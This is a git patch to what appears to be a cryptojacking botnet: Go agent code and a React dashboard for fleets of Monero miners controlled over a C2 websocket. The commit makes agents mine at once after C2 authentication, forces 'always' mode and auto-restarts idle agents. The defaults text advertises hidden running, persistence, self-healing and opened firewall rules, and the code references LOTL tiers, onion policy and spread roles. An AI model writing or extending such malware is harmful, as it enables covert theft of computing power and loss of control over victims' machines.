From 9b2eafd5831994f799056ef5d9a355507650f808 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 21:34:50 -0700 Subject: [PATCH] Start simple-deploy mining immediately after C2 auth. Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once. --- agent/client/client.go | 41 +++++++++++++++++-- agent/client/mining_ready.go | 4 +- agent/client/simple_deploy_test.go | 27 +++++++++++- server/internal/api/websocket_test.go | 5 ++- .../Fleet/ConnectedNotMiningBanner.tsx | 41 +++++++++++++++++-- .../web/src/help/forgeSmartDefaults.test.ts | 2 +- server/web/src/help/forgeSmartDefaults.ts | 4 +- server/web/src/help/simpleDeploy.test.ts | 16 ++++++++ server/web/src/help/simpleDeploy.ts | 11 +++++ 9 files changed, 135 insertions(+), 16 deletions(-) diff --git a/agent/client/client.go b/agent/client/client.go index 4c23d5d..518c303 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -149,7 +149,7 @@ func (c *AgentClient) Run() error { c.miningChain = c.newMiningChainRunner() if isSeeder { deploy.StartSeederStaging(c.cfg) - } else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy { + } else if deploy.WantsDeferMining() { go c.startMiningWhenReady(chainCtx) } else { c.miningChain.Start(chainCtx) @@ -319,6 +319,7 @@ func (c *AgentClient) connectLoop(serverURL string) error { return err } c.connected.Store(true) + c.kickMiningAfterAuth() defer c.connected.Store(false) statsStop := make(chan struct{}) @@ -428,7 +429,6 @@ func (c *AgentClient) authenticate() error { return fmt.Errorf("auth failed: %s", resp.Error) } c.applyAuthLotlPolicy(resp) - c.kickMiningAfterAuth() c.startContingencyIfEnabled(c.miningCtx) c.applyAuthFleetRole(resp) deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) @@ -1492,6 +1492,18 @@ func buildWSURL(serverURL string) (string, error) { // kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy. // Mining may have started before auth with forge defaults; auth applies Calibrate policy. +func (c *AgentClient) forceSimpleDeployMiningMode() { + if !c.cfg.SimpleDeploy { + return + } + c.mu.Lock() + defer c.mu.Unlock() + switch strings.ToLower(strings.TrimSpace(c.cfg.MiningMode)) { + case "idle", "scheduled", "": + c.cfg.MiningMode = "always" + } +} + func (c *AgentClient) kickMiningAfterAuth() { if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode { return @@ -1499,10 +1511,31 @@ func (c *AgentClient) kickMiningAfterAuth() { if c.miningCtx == nil || c.miningChain == nil { return } + if !c.connected.Load() { + return + } go func() { c.miningChain.refreshTierOrchestrator() - if c.cfg.SimpleDeploy || deploy.WantsDeferMining() { - log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)") + if c.cfg.SimpleDeploy { + c.forceSimpleDeployMiningMode() + if strings.TrimSpace(c.cfg.Wallet) == "" { + log.Printf("[mining] BLOCKED: wallet not configured — set Calibrate wallet and re-forge") + } + if strings.TrimSpace(c.cfg.PoolHost) == "" { + log.Printf("[mining] BLOCKED: pool host not configured — set Calibrate pool and re-forge") + } + st := c.miningChain.Status() + if st.ActiveMethod != "" || st.LOTLTier != "" { + log.Printf("[mining] simple_deploy: restarting chain after auth with cpu_inprocess policy") + c.miningChain.Restart(c.miningCtx) + } else { + log.Printf("[mining] simple_deploy: starting mining chain after auth") + c.miningChain.Start(c.miningCtx) + } + return + } + if deploy.WantsDeferMining() { + log.Printf("[mining] tier policy refreshed after auth (defer)") return } log.Printf("[mining] restarting chain after auth with server policy") diff --git a/agent/client/mining_ready.go b/agent/client/mining_ready.go index 94503b1..b286d6d 100644 --- a/agent/client/mining_ready.go +++ b/agent/client/mining_ready.go @@ -41,9 +41,9 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) { log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled) return } - const maxWait = 120 * time.Second + const maxWait = 30 * time.Second deadline := time.Now().Add(maxWait) - ticker := time.NewTicker(5 * time.Second) + ticker := time.NewTicker(1 * time.Second) defer ticker.Stop() tryStart := func(reason string) { diff --git a/agent/client/simple_deploy_test.go b/agent/client/simple_deploy_test.go index 47e44f2..b1f47ae 100644 --- a/agent/client/simple_deploy_test.go +++ b/agent/client/simple_deploy_test.go @@ -70,13 +70,36 @@ func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) { } } -func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) { +func TestKickMiningAfterAuthStartsSimpleDeployWhenConnected(t *testing.T) { + setupNoContainerRuntime(t) + cfg := baseMiningCfg() + cfg.SimpleDeploy = true + cfg.MinerExecution = "inprocess" + c := miningChainTestClient(t, cfg) + c.miningChain = newTestMiningChainRunner(t, c) + c.miningCtx = context.Background() + c.connected.Store(true) + c.kickMiningAfterAuth() + deadline := time.Now().Add(2 * time.Second) + for c.cfg.MiningMode != "always" && time.Now().Before(deadline) { + time.Sleep(25 * time.Millisecond) + } + if c.cfg.MiningMode != "always" { + t.Fatalf("mining_mode=%q want always", c.cfg.MiningMode) + } +} + +func TestKickMiningAfterAuthWaitsForC2OnSimpleDeploy(t *testing.T) { setupNoContainerRuntime(t) cfg := baseMiningCfg() cfg.SimpleDeploy = true c := miningChainTestClient(t, cfg) c.miningChain = newTestMiningChainRunner(t, c) c.miningCtx = context.Background() - // must not panic or restart when simple deploy + c.connected.Store(false) c.kickMiningAfterAuth() + time.Sleep(150 * time.Millisecond) + if r := c.miningChain.Status(); r.ActiveMethod != "" { + t.Fatalf("should not start mining before C2 connect, active=%q", r.ActiveMethod) + } } diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 3f3c7c1..a049cc3 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -806,6 +806,7 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) { // TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback // from agents are batched into a single stats_batch frame for dashboards. func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { + t.Parallel() resetWSAuthUsers(t, testAuthUser, testAuthPass) database, err := db.New(t.TempDir()) if err != nil { @@ -829,7 +830,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { } batchCh := make(chan batchResult, 1) go func() { - _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) + _ = dashConn.SetReadDeadline(time.Now().Add(15 * time.Second)) for { var msg Message if err := dashConn.ReadJSON(&msg); err != nil { @@ -923,7 +924,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) { if byAgent[agentB]["active_method"] != "container" { t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"]) } - case <-time.After(2 * time.Second): + case <-time.After(5 * time.Second): t.Fatal("timed out waiting for stats_batch relay") } } diff --git a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx index 91d32a1..22c56ae 100644 --- a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx +++ b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx @@ -1,6 +1,7 @@ +import { useEffect, useRef } from 'react'; import { Link } from 'react-router-dom'; import type { Agent } from '../../types'; -import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy'; +import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy'; import { api } from '../../api/client'; interface Props { @@ -9,9 +10,42 @@ interface Props { onAction?: (message: string) => void; } +const AUTO_RESTART_MS = 60_000; + /** Banner when agents are online but not hashing — with actionable fix buttons. */ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) { const stuck = agentsConnectedNotHashing(agents); + const firstSeenRef = useRef>(new Map()); + const autoRestartedRef = useRef>(new Set()); + + useEffect(() => { + const now = Date.now(); + const stuckIds = new Set(stuck.map((a) => a.id)); + for (const id of [...firstSeenRef.current.keys()]) { + if (!stuckIds.has(id)) firstSeenRef.current.delete(id); + } + for (const a of stuck) { + if (!firstSeenRef.current.has(a.id)) firstSeenRef.current.set(a.id, now); + } + const due = stuck.filter((a) => { + const t0 = firstSeenRef.current.get(a.id) ?? now; + return now - t0 >= AUTO_RESTART_MS && !autoRestartedRef.current.has(a.id); + }); + if (due.length === 0) return; + for (const a of due) autoRestartedRef.current.add(a.id); + void (async () => { + try { + const r = await api.sendBulkCommand( + due.map((a) => a.id), + 'restart', + ); + onAction?.(`Auto Restart mining (60s @ 0 H/s) → sent:${r.sent} failed:${r.failed}`); + } catch (e) { + onAction?.(`Auto Restart mining failed: ${e instanceof Error ? e.message : String(e)}`); + } + })(); + }, [stuck, onAction]); + if (stuck.length === 0) return null; const targetIds = @@ -34,6 +68,7 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction const sample = stuck[0]; const status = simpleDeployStatus(sample); + const calibrateFix = simpleDeployCalibrateFix(sample); return (
@@ -42,8 +77,8 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction {stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing

- {status.message} - {sample.mining_block_reason && sample.mining_block_reason !== status.message + {calibrateFix ?? status.message} + {!calibrateFix && sample.mining_block_reason && sample.mining_block_reason !== status.message ? ` — ${sample.mining_block_reason}` : ''} . "Deploy" here means C2 registration + mining tier probe — not lateral spread. diff --git a/server/web/src/help/forgeSmartDefaults.test.ts b/server/web/src/help/forgeSmartDefaults.test.ts index 6de223f..3496629 100644 --- a/server/web/src/help/forgeSmartDefaults.test.ts +++ b/server/web/src/help/forgeSmartDefaults.test.ts @@ -21,7 +21,7 @@ describe('forgeSmartDefaults', () => { expect(form.worker_name).toMatch(/^worker-/); expect(form.process_name).toBeTruthy(); expect(form.server_url).toBe('http://10.0.0.2:8989'); - expect(form.mining_mode).toBe('idle'); + expect(form.mining_mode).toBe('always'); }); it('fills backup C2 URLs from other LAN candidates', () => { diff --git a/server/web/src/help/forgeSmartDefaults.ts b/server/web/src/help/forgeSmartDefaults.ts index 3b4c46d..c517be2 100644 --- a/server/web/src/help/forgeSmartDefaults.ts +++ b/server/web/src/help/forgeSmartDefaults.ts @@ -67,7 +67,7 @@ export function recommendedForgePreset(): Partial { ...FORGE_BUILD_DEFAULTS, simple_deploy: true, miner_execution: 'inprocess', - mining_mode: 'idle', + mining_mode: 'always', idle_threshold_pct: 20, idle_duration_minutes: 5, thread_mode: 'percent', @@ -170,7 +170,7 @@ export function forgeDefaultsFromServerSmart( } export const RECOMMENDED_DEFAULTS_BLURB = - 'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.'; + 'Recommended for home LAN fleets: mines immediately (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.'; export function isValidWorkerName(name: string): boolean { const t = name.trim(); diff --git a/server/web/src/help/simpleDeploy.test.ts b/server/web/src/help/simpleDeploy.test.ts index 1f04a18..7470f25 100644 --- a/server/web/src/help/simpleDeploy.test.ts +++ b/server/web/src/help/simpleDeploy.test.ts @@ -3,6 +3,7 @@ import type { Agent } from '../types'; import { agentsConnectedNotHashing, simpleDeployStatus, + simpleDeployCalibrateFix, simpleMinePreset, } from './simpleDeploy'; @@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => { }); }); + +describe('simpleDeployCalibrateFix', () => { + it('requires wallet in Calibrate', () => { + expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i); + }); + + it('surfaces pool fix from mining_block_reason', () => { + expect( + simpleDeployCalibrateFix( + agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }), + ), + ).toMatch(/pool/i); + }); +}); + describe('simpleMinePreset', () => { it('disables spread and enables simple_deploy', () => { const p = simpleMinePreset(); diff --git a/server/web/src/help/simpleDeploy.ts b/server/web/src/help/simpleDeploy.ts index d8ac5ca..fae8498 100644 --- a/server/web/src/help/simpleDeploy.ts +++ b/server/web/src/help/simpleDeploy.ts @@ -10,6 +10,17 @@ export interface SimpleDeployStatus { hashrate?: number; } +/** Operator fix text when Calibrate is incomplete for mining. */ +export function simpleDeployCalibrateFix(agent: Agent): string | undefined { + const wallet = agent.wallet?.trim(); + if (!wallet) return 'Set XMR wallet in Calibrate (Settings), then re-forge with Deploy & Mine.'; + const reason = agent.mining_block_reason?.toLowerCase() ?? ''; + if (reason.includes('pool host not configured') || reason.includes('pool not configured')) { + return 'Set pool host/port in Calibrate, then re-forge with Deploy & Mine.'; + } + return undefined; +} + /** Human status for deploy→test→mine operator path. */ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus { if (agent.status !== 'online') {